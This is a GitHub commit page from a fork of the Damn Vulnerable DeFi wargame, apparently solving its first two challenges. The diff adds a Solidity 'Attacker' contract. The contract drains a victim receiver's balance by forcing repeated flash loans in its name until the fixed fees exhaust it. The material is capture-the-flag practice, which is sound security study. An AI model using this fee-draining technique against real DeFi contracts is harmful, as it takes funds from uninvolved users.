forked from theredguild/damn-vulnerable-defi
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
[Solved] - Challenges #1 and theredguild#2
- Loading branch information
1 parent
3e2a367
commit 0ddd923
Showing
3 changed files
with
29 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
interface INaiveReceiverLenderPool { | ||
function flashLoan(address borrower, uint256 borrowAmount) external; | ||
function fixedFee() external pure returns (uint256); | ||
} | ||
|
||
contract Attacker { | ||
INaiveReceiverLenderPool private pool; | ||
|
||
constructor(address _pool) { | ||
pool = INaiveReceiverLenderPool(_pool); | ||
} | ||
|
||
function drainReceiver(address _receiver) public { | ||
uint8 times = uint8(_receiver.balance / pool.fixedFee()); | ||
for (uint8 i = 0; i < times; i++) { | ||
pool.flashLoan(_receiver, address(pool).balance); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters